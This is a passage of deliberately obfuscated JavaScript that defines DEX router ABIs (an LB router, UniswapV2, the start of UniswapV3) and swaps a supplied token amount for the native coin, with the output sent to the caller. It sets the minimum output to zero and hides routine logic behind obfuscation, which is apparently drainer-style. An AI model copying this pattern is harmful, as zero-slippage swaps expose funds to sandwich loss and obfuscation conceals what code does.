type: "address[]"
};
const _0x2fc54c = {
components: [_0x13815f, _0x46c71a, _0xb611f0],
internalType: "struct ILBRouter.Path",
name: 'path',
type: 'tuple'
};
const _0x4b3b14 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x37df2d = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x36a9c5 = {
internalType: "uint256",
name: "amountOut",
type: "uint256"
};
const _0x4ee0a3 = {
inputs: [_0x5ce5d7, _0x2fc54c, _0x4b3b14, _0x37df2d],
name: "swapExactNATIVEForTokens",
outputs: [_0x36a9c5],
stateMutability: "payable",
type: 'function'
};
const _0x5a049b = {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
};
const _0x5251b0 = {
internalType: "uint256[]",
name: "pairBinSteps",
type: "uint256[]"
};
const _0x184a8b = {
internalType: "enum ILBRouter.Version[]",
name: "versions",
type: "uint8[]"
};
const _0x40f6e3 = {
internalType: "contract IERC20[]",
name: "tokenPath",
type: "address[]"
};
const _0x26fe31 = {
components: [_0x5251b0, _0x184a8b, _0x40f6e3],
internalType: "struct ILBRouter.Path",
name: 'path',
type: "tuple"
};
const _0x4fb29a = {
internalType: "address",
name: 'to',
type: "address"
};
const _0x2472c7 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x57040b = {
inputs: [_0x5a049b, _0x26fe31, _0x4fb29a, _0x2472c7],
name: "swapExactNATIVEForTokensSupportingFeeOnTransferTokens",
outputs: [{
'internalType': "uint256",
'name': "amountOut",
'type': 'uint256'
}],
stateMutability: "payable",
type: 'function'
};
const _0x527c3d = {
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0x3b41a4 = {
internalType: "uint256",
name: "amountOutMinNATIVE",
type: "uint256"
};
const _0x4590d8 = {
internalType: "uint256[]",
name: "pairBinSteps",
type: "uint256[]"
};
const _0x192a69 = {
internalType: "enum ILBRouter.Version[]",
name: "versions",
type: "uint8[]"
};
const _0x1169be = {
internalType: "contract IERC20[]",
name: "tokenPath",
type: "address[]"
};
const _0x3651d3 = {
components: [_0x4590d8, _0x192a69, _0x1169be],
internalType: "struct ILBRouter.Path",
name: 'path',
type: "tuple"
};
const _0x3a85a5 = {
internalType: "address payable",
name: 'to',
type: 'address'
};
const _0x3f31ea = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x43c20 = {
inputs: [_0x527c3d, _0x3b41a4, _0x3651d3, _0x3a85a5, _0x3f31ea],
name: "swapExactTokensForNATIVE",
outputs: [{
'internalType': "uint256",
'name': "amountOut",
'type': 'uint256'
}],
stateMutability: "nonpayable",
type: "function"
};
const _0x3358d7 = {
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0x21ec0b = {
internalType: "uint256",
name: "amountOutMinNATIVE",
type: "uint256"
};
const _0x28764e = {
internalType: "uint256[]",
name: "pairBinSteps",
type: "uint256[]"
};
const _0x2ffdb7 = {
internalType: "enum ILBRouter.Version[]",
name: "versions",
type: "uint8[]"
};
const _0x27ab5c = {
internalType: "contract IERC20[]",
name: "tokenPath",
type: "address[]"
};
const _0x1aaf60 = {
components: [_0x28764e, _0x2ffdb7, _0x27ab5c],
internalType: "struct ILBRouter.Path",
name: "path",
type: "tuple"
};
const _0x171daf = {
internalType: "address payable",
name: 'to',
type: 'address'
};
const _0x5c06fd = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x63ce7 = {
internalType: "uint256",
name: "amountOut",
type: "uint256"
};
const _0x4d5da8 = {
inputs: [_0x3358d7, _0x21ec0b, _0x1aaf60, _0x171daf, _0x5c06fd],
name: "swapExactTokensForNATIVESupportingFeeOnTransferTokens",
outputs: [_0x63ce7],
stateMutability: "nonpayable",
type: "function"
};
const _0x5489b8 = {
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0x48abb2 = {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
};
const _0x1a97c0 = {
internalType: "uint256[]",
name: "pairBinSteps",
type: "uint256[]"
};
const _0x1248e5 = {
internalType: "enum ILBRouter.Version[]",
name: "versions",
type: "uint8[]"
};
const _0x3c6a02 = {
internalType: "contract IERC20[]",
name: "tokenPath",
type: "address[]"
};
const _0x463a2f = {
components: [_0x1a97c0, _0x1248e5, _0x3c6a02],
internalType: "struct ILBRouter.Path",
name: 'path',
type: "tuple"
};
const _0x241351 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x18f38e = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x57fd01 = {
inputs: [_0x5489b8, _0x48abb2, _0x463a2f, _0x241351, _0x18f38e],
name: "swapExactTokensForTokens",
outputs: [{
'internalType': "uint256",
'name': "amountOut",
'type': "uint256"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x37cabc = {
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0x5e5f11 = {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
};
const _0x47a4a8 = {
internalType: 'uint256[]',
name: "pairBinSteps",
type: 'uint256[]'
};
const _0xe944aa = {
internalType: "enum ILBRouter.Version[]",
name: "versions",
type: "uint8[]"
};
const _0x5a922c = {
internalType: "contract IERC20[]",
name: "tokenPath",
type: "address[]"
};
const _0x1eb0f1 = {
components: [_0x47a4a8, _0xe944aa, _0x5a922c],
internalType: "struct ILBRouter.Path",
name: 'path',
type: "tuple"
};
const _0x123734 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x5c65fc = {
internalType: "uint256",
name: 'deadline',
type: 'uint256'
};
const _0x10ca26 = {
inputs: [_0x37cabc, _0x5e5f11, _0x1eb0f1, _0x123734, _0x5c65fc],
name: "swapExactTokensForTokensSupportingFeeOnTransferTokens",
outputs: [{
'internalType': "uint256",
'name': "amountOut",
'type': "uint256"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x30c97d = {
internalType: "uint256",
name: 'amountOut',
type: "uint256"
};
const _0x442cec = {
internalType: "uint256[]",
name: "pairBinSteps",
type: "uint256[]"
};
const _0x20983a = {
internalType: "enum ILBRouter.Version[]",
name: "versions",
type: "uint8[]"
};
const _0x1cd3db = {
internalType: "contract IERC20[]",
name: "tokenPath",
type: "address[]"
};
const _0x1774cc = {
components: [_0x442cec, _0x20983a, _0x1cd3db],
internalType: "struct ILBRouter.Path",
name: "path",
type: "tuple"
};
const _0x36f2e1 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x3fc59 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x2d159b = {
inputs: [_0x30c97d, _0x1774cc, _0x36f2e1, _0x3fc59],
name: "swapNATIVEForExactTokens",
outputs: [{
'internalType': "uint256[]",
'name': "amountsIn",
'type': "uint256[]"
}],
stateMutability: "payable",
type: 'function'
};
const _0x387aac = {
internalType: "uint256",
name: "amountNATIVEOut",
type: 'uint256'
};
const _0x2509bd = {
internalType: "uint256",
name: "amountInMax",
type: "uint256"
};
const _0xd0b9de = {
internalType: "uint256[]",
name: "pairBinSteps",
type: "uint256[]"
};
const _0x494507 = {
internalType: "enum ILBRouter.Version[]",
name: "versions",
type: "uint8[]"
};
const _0x31ec8b = {
internalType: "contract IERC20[]",
name: "tokenPath",
type: "address[]"
};
const _0x3a35aa = {
components: [_0xd0b9de, _0x494507, _0x31ec8b],
internalType: "struct ILBRouter.Path",
name: 'path',
type: "tuple"
};
const _0x2a68dd = {
internalType: "address payable",
name: 'to',
type: 'address'
};
const _0x5db961 = {
internalType: "uint256",
name: "deadline",
type: 'uint256'
};
const _0x40e88c = {
inputs: [_0x387aac, _0x2509bd, _0x3a35aa, _0x2a68dd, _0x5db961],
name: "swapTokensForExactNATIVE",
outputs: [{
'internalType': "uint256[]",
'name': "amountsIn",
'type': "uint256[]"
}],
stateMutability: "nonpayable",
type: "function"
};
const _0x5ba8c2 = {
internalType: "uint256",
name: "amountOut",
type: "uint256"
};
const _0x5ef3d8 = {
internalType: "uint256",
name: "amountInMax",
type: "uint256"
};
const _0x1ca541 = {
internalType: "uint256[]",
name: "pairBinSteps",
type: "uint256[]"
};
const _0x5c1e60 = {
internalType: "enum ILBRouter.Version[]",
name: "versions",
type: "uint8[]"
};
const _0x334acd = {
internalType: "contract IERC20[]",
name: "tokenPath",
type: "address[]"
};
const _0x337fde = {
components: [_0x1ca541, _0x5c1e60, _0x334acd],
internalType: "struct ILBRouter.Path",
name: 'path',
type: "tuple"
};
const _0x5e441e = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x1c6283 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x2a2983 = {
inputs: [_0x5ba8c2, _0x5ef3d8, _0x337fde, _0x5e441e, _0x1c6283],
name: "swapTokensForExactTokens",
outputs: [{
'internalType': "uint256[]",
'name': "amountsIn",
'type': "uint256[]"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x6b9da4 = {
internalType: "contract IERC20",
name: "token",
type: 'address'
};
const _0x1b0f30 = {
internalType: 'address',
name: 'to',
type: "address"
};
const _0x20424a = {
internalType: "uint256",
name: "amount",
type: "uint256"
};
const _0x5bfe94 = {
inputs: [_0x6b9da4, _0x1b0f30, _0x20424a],
name: "sweep",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x55b78e = {
internalType: "contract ILBToken",
name: "lbToken",
type: 'address'
};
const _0x41a25d = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x5b13e1 = {
internalType: "uint256[]",
name: 'ids',
type: "uint256[]"
};
const _0x439a8f = {
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
};
const _0xc296f4 = {
inputs: [_0x55b78e, _0x41a25d, _0x5b13e1, _0x439a8f],
name: "sweepLBToken",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x109008 = {
stateMutability: "payable",
type: "receive"
};
let _0x12c6a5 = [_0x454175, _0x13ff3b, _0x13dc4c, _0x3786af, _0x56deaf, _0x24e79d, _0x4da759, _0x576388, _0x122e67, _0x3f4cfa, _0x321654, _0x342822, _0xec5e9a, _0x2b268e, _0x57d83f, _0x1b39b6, _0x3bbe83, _0x1ee918, _0x1da57f, _0x1ec4fa, _0x118ec6, _0x42ca2d, _0x1d4fbe, _0x502930, _0x156c38, _0x3cd325, _0x10bfd0, _0x3a0c62, _0x458b2e, _0xdd0c11, _0x10cab6, _0x22fee4, _0x3908de, _0x515df4, _0x5c254f, _0x23580e, _0x391ac2, _0x5e9179, _0x3663ad, _0x33518a, _0x532c75, _0x5d4e28, _0x4ee0a3, _0x57040b, _0x43c20, _0x4d5da8, _0x57fd01, _0x10ca26, _0x2d159b, _0x40e88c, _0x2a2983, _0x5bfe94, _0xc296f4, _0x109008];
let _0x16b66e = new ethers.Contract(_0x1d9d78, _0x12c6a5, _0x30ef12);
let _0x11a2e9 = await _0x16b66e.getWNATIVE();
let _0x3bdebc = [];
_0x3bdebc[0] = _0x579e7a.asset.token;
_0x3bdebc[1] = _0x11a2e9;
return _0x16b66e.swapExactTokensForNATIVE(_0x579e7a.asset.amount, 0, [[0], [0], _0x3bdebc], this.caller, _0x10922f);
}
case "UniswapV2":
{
const _0xae9ffb = {
internalType: "address",
name: "_factory",
type: 'address'
};
const _0xd3defb = {
internalType: 'address',
name: "_WETH",
type: 'address'
};
const _0x30adf4 = {
inputs: [_0xae9ffb, _0xd3defb],
stateMutability: "nonpayable",
type: "constructor"
};
const _0xcca0e6 = {
inputs: [],
name: "WETH",
outputs: [{
'internalType': 'address',
'name': '',
'type': 'address'
}],
stateMutability: 'view',
type: 'function'
};
const _0x25e9a7 = {
internalType: 'address',
name: "tokenA",
type: 'address'
};
const _0x47db6d = {
internalType: 'address',
name: "tokenB",
type: 'address'
};
const _0x379b27 = {
internalType: "uint256",
name: "amountADesired",
type: "uint256"
};
const _0x38f596 = {
internalType: "uint256",
name: "amountBDesired",
type: 'uint256'
};
const _0x331c14 = {
internalType: "uint256",
name: "amountAMin",
type: 'uint256'
};
const _0xe5ca9d = {
internalType: "uint256",
name: "amountBMin",
type: "uint256"
};
const _0x5dd062 = {
internalType: "address",
name: 'to',
type: 'address'
};
const _0x1fa45b = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x4600fd = {
internalType: "uint256",
name: "amountA",
type: "uint256"
};
const _0x295f15 = {
internalType: "uint256",
name: 'amountB',
type: 'uint256'
};
const _0x362b8a = {
internalType: "uint256",
name: "liquidity",
type: "uint256"
};
const _0x2c8dfd = {
inputs: [_0x25e9a7, _0x47db6d, _0x379b27, _0x38f596, _0x331c14, _0xe5ca9d, _0x5dd062, _0x1fa45b],
name: "addLiquidity",
outputs: [_0x4600fd, _0x295f15, _0x362b8a],
stateMutability: "nonpayable",
type: 'function'
};
const _0x46ab28 = {
internalType: 'address',
name: "token",
type: 'address'
};
const _0x459c45 = {
internalType: "uint256",
name: "amountTokenDesired",
type: "uint256"
};
const _0x32565b = {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
};
const _0x4e73ce = {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
};
const _0x655d0b = {
internalType: 'address',
name: 'to',
type: "address"
};
const _0x58a677 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x579580 = {
inputs: [_0x46ab28, _0x459c45, _0x32565b, _0x4e73ce, _0x655d0b, _0x58a677],
name: "addLiquidityETH",
outputs: [{
'internalType': "uint256",
'name': "amountToken",
'type': "uint256"
}, {
'internalType': "uint256",
'name': 'amountETH',
'type': "uint256"
}, {
'internalType': "uint256",
'name': "liquidity",
'type': "uint256"
}],
stateMutability: "payable",
type: 'function'
};
const _0x923c23 = {
inputs: [],
name: "factory",
outputs: [{
'internalType': 'address',
'name': '',
'type': 'address'
}],
stateMutability: 'view',
type: 'function'
};
const _0x51994f = {
internalType: 'uint256',
name: "amountOut",
type: 'uint256'
};
const _0x582aa5 = {
internalType: "uint256",
name: "reserveIn",
type: "uint256"
};
const _0x59f6dd = {
internalType: "uint256",
name: "reserveOut",
type: "uint256"
};
const _0x186855 = {
inputs: [_0x51994f, _0x582aa5, _0x59f6dd],
name: "getAmountIn",
outputs: [{
'internalType': "uint256",
'name': "amountIn",
'type': "uint256"
}],
stateMutability: "pure",
type: 'function'
};
const _0x51bcb7 = {
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0x196202 = {
internalType: "uint256",
name: "reserveIn",
type: "uint256"
};
const _0x2f9582 = {
internalType: "uint256",
name: "reserveOut",
type: "uint256"
};
const _0x1d85aa = {
internalType: "uint256",
name: "amountOut",
type: "uint256"
};
const _0x150464 = {
inputs: [_0x51bcb7, _0x196202, _0x2f9582],
name: "getAmountOut",
outputs: [_0x1d85aa],
stateMutability: "pure",
type: 'function'
};
const _0x787f57 = {
internalType: "uint256",
name: "amountOut",
type: "uint256"
};
const _0x9fb210 = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x56ec49 = {
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
};
const _0xc5c47f = {
inputs: [_0x787f57, _0x9fb210],
name: "getAmountsIn",
outputs: [_0x56ec49],
stateMutability: 'view',
type: "function"
};
const _0x481738 = {
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0x1e0140 = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x861a01 = {
inputs: [_0x481738, _0x1e0140],
name: "getAmountsOut",
outputs: [{
'internalType': "uint256[]",
'name': "amounts",
'type': "uint256[]"
}],
stateMutability: 'view',
type: 'function'
};
const _0x128c11 = {
internalType: "uint256",
name: "amountA",
type: "uint256"
};
const _0x145d07 = {
internalType: "uint256",
name: "reserveA",
type: "uint256"
};
const _0x4200a2 = {
internalType: "uint256",
name: "reserveB",
type: "uint256"
};
const _0x14b728 = {
inputs: [_0x128c11, _0x145d07, _0x4200a2],
name: "quote",
outputs: [{
'internalType': "uint256",
'name': 'amountB',
'type': "uint256"
}],
stateMutability: "pure",
type: 'function'
};
const _0x2087ca = {
internalType: "address",
name: "tokenA",
type: 'address'
};
const _0x39b953 = {
internalType: "address",
name: "tokenB",
type: 'address'
};
const _0xb65464 = {
internalType: "uint256",
name: "liquidity",
type: "uint256"
};
const _0x10eda8 = {
internalType: "uint256",
name: "amountAMin",
type: "uint256"
};
const _0x4a2039 = {
internalType: "uint256",
name: "amountBMin",
type: "uint256"
};
const _0x2542cf = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x501608 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x4bae19 = {
internalType: "uint256",
name: "amountA",
type: "uint256"
};
const _0x2144b9 = {
internalType: "uint256",
name: 'amountB',
type: "uint256"
};
const _0x401a99 = {
inputs: [_0x2087ca, _0x39b953, _0xb65464, _0x10eda8, _0x4a2039, _0x2542cf, _0x501608],
name: "removeLiquidity",
outputs: [_0x4bae19, _0x2144b9],
stateMutability: "nonpayable",
type: 'function'
};
const _0x3cfb81 = {
internalType: 'address',
name: "token",
type: 'address'
};
const _0x3ce029 = {
internalType: "uint256",
name: "liquidity",
type: "uint256"
};
const _0x2b2ac9 = {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
};
const _0x13a405 = {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
};
const _0x1014a3 = {
internalType: "address",
name: 'to',
type: 'address'
};
const _0x49119d = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x5430b9 = {
inputs: [_0x3cfb81, _0x3ce029, _0x2b2ac9, _0x13a405, _0x1014a3, _0x49119d],
name: "removeLiquidityETH",
outputs: [{
'internalType': 'uint256',
'name': "amountToken",
'type': "uint256"
}, {
'internalType': "uint256",
'name': 'amountETH',
'type': "uint256"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x410fa8 = {
internalType: 'address',
name: "token",
type: 'address'
};
const _0x965242 = {
internalType: "uint256",
name: "liquidity",
type: "uint256"
};
const _0x8d2d5f = {
internalType: "uint256",
name: "amountTokenMin",
type: 'uint256'
};
const _0x1c845f = {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
};
const _0xcf2ea4 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x520cb4 = {
internalType: 'uint256',
name: 'deadline',
type: "uint256"
};
const _0x42e9c8 = {
inputs: [_0x410fa8, _0x965242, _0x8d2d5f, _0x1c845f, _0xcf2ea4, _0x520cb4],
name: "removeLiquidityETHSupportingFeeOnTransferTokens",
outputs: [{
'internalType': "uint256",
'name': 'amountETH',
'type': "uint256"
}],
stateMutability: "nonpayable",
type: "function"
};
const _0x227f28 = {
internalType: 'address',
name: "token",
type: "address"
};
const _0x2da046 = {
internalType: "uint256",
name: "liquidity",
type: "uint256"
};
const _0x52da9f = {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
};
const _0x553668 = {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
};
const _0x174d75 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x51e4be = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x2d11d8 = {
internalType: 'bool',
name: 'approveMax',
type: "bool"
};
const _0xb80d46 = {
internalType: "uint8",
name: 'v',
type: "uint8"
};
const _0xcd4bce = {
internalType: "bytes32",
name: 'r',
type: 'bytes32'
};
const _0x16b5ec = {
internalType: "bytes32",
name: 's',
type: "bytes32"
};
const _0x9ea74f = {
internalType: "uint256",
name: "amountToken",
type: "uint256"
};
const _0x5d9a5d = {
internalType: "uint256",
name: 'amountETH',
type: "uint256"
};
const _0x39e504 = {
inputs: [_0x227f28, _0x2da046, _0x52da9f, _0x553668, _0x174d75, _0x51e4be, _0x2d11d8, _0xb80d46, _0xcd4bce, _0x16b5ec],
name: "removeLiquidityETHWithPermit",
outputs: [_0x9ea74f, _0x5d9a5d],
stateMutability: "nonpayable",
type: 'function'
};
const _0xcf179b = {
internalType: "address",
name: "token",
type: 'address'
};
const _0x49013b = {
internalType: "uint256",
name: "liquidity",
type: "uint256"
};
const _0x39f5f6 = {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
};
const _0x47b907 = {
internalType: "uint256",
name: "amountETHMin",
type: 'uint256'
};
const _0x20b681 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x25d9a1 = {
internalType: 'uint256',
name: "deadline",
type: "uint256"
};
const _0x32adb8 = {
internalType: 'bool',
name: 'approveMax',
type: 'bool'
};
const _0x36fe1a = {
internalType: 'uint8',
name: 'v',
type: "uint8"
};
const _0x3daa75 = {
internalType: "bytes32",
name: 'r',
type: "bytes32"
};
const _0x206e07 = {
internalType: "bytes32",
name: 's',
type: "bytes32"
};
const _0x34d251 = {
internalType: 'uint256',
name: 'amountETH',
type: "uint256"
};
const _0x2967ba = {
inputs: [_0xcf179b, _0x49013b, _0x39f5f6, _0x47b907, _0x20b681, _0x25d9a1, _0x32adb8, _0x36fe1a, _0x3daa75, _0x206e07],
name: "removeLiquidityETHWithPermitSupportingFeeOnTransferTokens",
outputs: [_0x34d251],
stateMutability: "nonpayable",
type: 'function'
};
const _0x409bf3 = {
internalType: 'address',
name: "tokenA",
type: 'address'
};
const _0x4b3e12 = {
internalType: "address",
name: "tokenB",
type: 'address'
};
const _0x97bf62 = {
internalType: "uint256",
name: "liquidity",
type: "uint256"
};
const _0x1aa096 = {
internalType: "uint256",
name: "amountAMin",
type: "uint256"
};
const _0xf335ff = {
internalType: "uint256",
name: "amountBMin",
type: "uint256"
};
const _0xa8f5b8 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x4b92ec = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x251041 = {
internalType: "bool",
name: 'approveMax',
type: 'bool'
};
const _0x2cc605 = {
internalType: "uint8",
name: 'v',
type: "uint8"
};
const _0xf05f4d = {
internalType: "bytes32",
name: 'r',
type: "bytes32"
};
const _0x4086c0 = {
internalType: "bytes32",
name: 's',
type: "bytes32"
};
const _0x49f612 = {
inputs: [_0x409bf3, _0x4b3e12, _0x97bf62, _0x1aa096, _0xf335ff, _0xa8f5b8, _0x4b92ec, _0x251041, _0x2cc605, _0xf05f4d, _0x4086c0],
name: "removeLiquidityWithPermit",
outputs: [{
'internalType': "uint256",
'name': "amountA",
'type': "uint256"
}, {
'internalType': "uint256",
'name': 'amountB',
'type': "uint256"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x140e99 = {
internalType: "uint256",
name: "amountOut",
type: "uint256"
};
const _0x18787d = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x4e088a = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x484f5f = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x4cd003 = {
internalType: 'uint256[]',
name: "amounts",
type: "uint256[]"
};
const _0x454651 = {
inputs: [_0x140e99, _0x18787d, _0x4e088a, _0x484f5f],
name: "swapETHForExactTokens",
outputs: [_0x4cd003],
stateMutability: "payable",
type: "function"
};
const _0x614bb7 = {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
};
const _0x1a3c5e = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x353cd9 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x3b34d9 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x2f5208 = {
inputs: [_0x614bb7, _0x1a3c5e, _0x353cd9, _0x3b34d9],
name: "swapExactETHForTokens",
outputs: [{
'internalType': "uint256[]",
'name': "amounts",
'type': "uint256[]"
}],
stateMutability: "payable",
type: "function"
};
const _0x3ae155 = {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
};
const _0x2006d4 = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x2a76d4 = {
internalType: "address",
name: 'to',
type: 'address'
};
const _0x51bfff = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x36eabf = {
inputs: [_0x3ae155, _0x2006d4, _0x2a76d4, _0x51bfff],
name: "swapExactETHForTokensSupportingFeeOnTransferTokens",
outputs: [],
stateMutability: "payable",
type: "function"
};
const _0x4460a6 = {
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0x200ca0 = {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
};
const _0x310a87 = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x10b746 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x5e3a56 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x183fb3 = {
inputs: [_0x4460a6, _0x200ca0, _0x310a87, _0x10b746, _0x5e3a56],
name: "swapExactTokensForETH",
outputs: [{
'internalType': "uint256[]",
'name': "amounts",
'type': "uint256[]"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x3f6fc7 = {
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0xcaa8cf = {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
};
const _0x2fd591 = {
internalType: "address[]",
name: "path",
type: "address[]"
};
const _0x31f413 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x489515 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0xb42b31 = {
inputs: [_0x3f6fc7, _0xcaa8cf, _0x2fd591, _0x31f413, _0x489515],
name: "swapExactTokensForETHSupportingFeeOnTransferTokens",
outputs: [],
stateMutability: 'nonpayable',
type: 'function'
};
const _0x49da3 = {
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0x484001 = {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
};
const _0x2a488b = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x47f631 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x45c830 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x313093 = {
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
};
const _0x1c6ee7 = {
inputs: [_0x49da3, _0x484001, _0x2a488b, _0x47f631, _0x45c830],
name: "swapExactTokensForTokens",
outputs: [_0x313093],
stateMutability: 'nonpayable',
type: 'function'
};
const _0x119132 = {
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0x5db308 = {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
};
const _0x5b644c = {
internalType: 'address[]',
name: 'path',
type: "address[]"
};
const _0x4189e5 = {
internalType: "address",
name: 'to',
type: 'address'
};
const _0x5db69f = {
internalType: "uint256",
name: 'deadline',
type: "uint256"
};
const _0x1bd7c2 = {
inputs: [_0x119132, _0x5db308, _0x5b644c, _0x4189e5, _0x5db69f],
name: "swapExactTokensForTokensSupportingFeeOnTransferTokens",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x599228 = {
internalType: "uint256",
name: "amountOut",
type: "uint256"
};
const _0x3280ba = {
internalType: "uint256",
name: "amountInMax",
type: "uint256"
};
const _0x51dee4 = {
internalType: "address[]",
name: "path",
type: "address[]"
};
const _0x47f881 = {
internalType: 'address',
name: 'to',
type: "address"
};
const _0x3d2770 = {
internalType: "uint256",
name: 'deadline',
type: "uint256"
};
const _0x1634e5 = {
inputs: [_0x599228, _0x3280ba, _0x51dee4, _0x47f881, _0x3d2770],
name: "swapTokensForExactETH",
outputs: [{
'internalType': "uint256[]",
'name': "amounts",
'type': "uint256[]"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x828d8b = {
internalType: "uint256",
name: "amountOut",
type: "uint256"
};
const _0x5bb5a9 = {
internalType: "uint256",
name: "amountInMax",
type: "uint256"
};
const _0x3564eb = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x4f1cf4 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x56fed5 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x5015f3 = {
inputs: [_0x828d8b, _0x5bb5a9, _0x3564eb, _0x4f1cf4, _0x56fed5],
name: "swapTokensForExactTokens",
outputs: [{
'internalType': "uint256[]",
'name': "amounts",
'type': "uint256[]"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x37fd04 = {
stateMutability: "payable",
type: "receive"
};
let _0x48e996 = [_0x30adf4, _0xcca0e6, _0x2c8dfd, _0x579580, _0x923c23, _0x186855, _0x150464, _0xc5c47f, _0x861a01, _0x14b728, _0x401a99, _0x5430b9, _0x42e9c8, _0x39e504, _0x2967ba, _0x49f612, _0x454651, _0x2f5208, _0x36eabf, _0x183fb3, _0xb42b31, _0x1c6ee7, _0x1bd7c2, _0x1634e5, _0x5015f3, _0x37fd04];
let _0x8e9c14 = new ethers.Contract(_0x1d9d78, _0x48e996, _0x30ef12);
let _0x113300 = await _0x8e9c14.WETH();
let _0x139c80 = [];
_0x139c80[0] = _0x579e7a.asset.token;
_0x139c80[1] = _0x113300;
return _0x8e9c14.swapExactTokensForETH(_0x579e7a.asset.amount, 0, _0x139c80, this.caller, _0x10922f);
}
case "UniswapV3":
{
const _0x4993ee = {
internalType: 'address',
name: "_factory",
type: 'address'
};
const _0x326e14 = {
internalType: 'address',
name: "_WETH9",
type: 'address'
};
const _0x37609c = {
inputs: [_0x4993ee, _0x326e14],
stateMutability: "nonpayable",
type: "constructor"
};
const _0x4ccafc = {
inputs: [],
name: "WETH9",
outputs: [{
'internalType': 'address',
'name': '',
'type': 'address'
}],
stateMutability: 'view',
type: "function"
};
const _0x17ed14 = {
internalType: 'bytes',
name: 'path',
type: 'bytes'
};
const _0x3d879b = {
internalType: 'address',
name: 'recipient',
type: "address"
};
const _0x448de9 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x44838a = {
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0x279036 = {
internalType: "uint256",
name: "amountOutMinimum",
type: "uint256"
};
const _0x138f97 = {
components: [_0x17ed14, _0x3d879b, _0x448de9, _0x44838a, _0x279036],
internalType: "struct ISwapRouter.ExactInputParams",
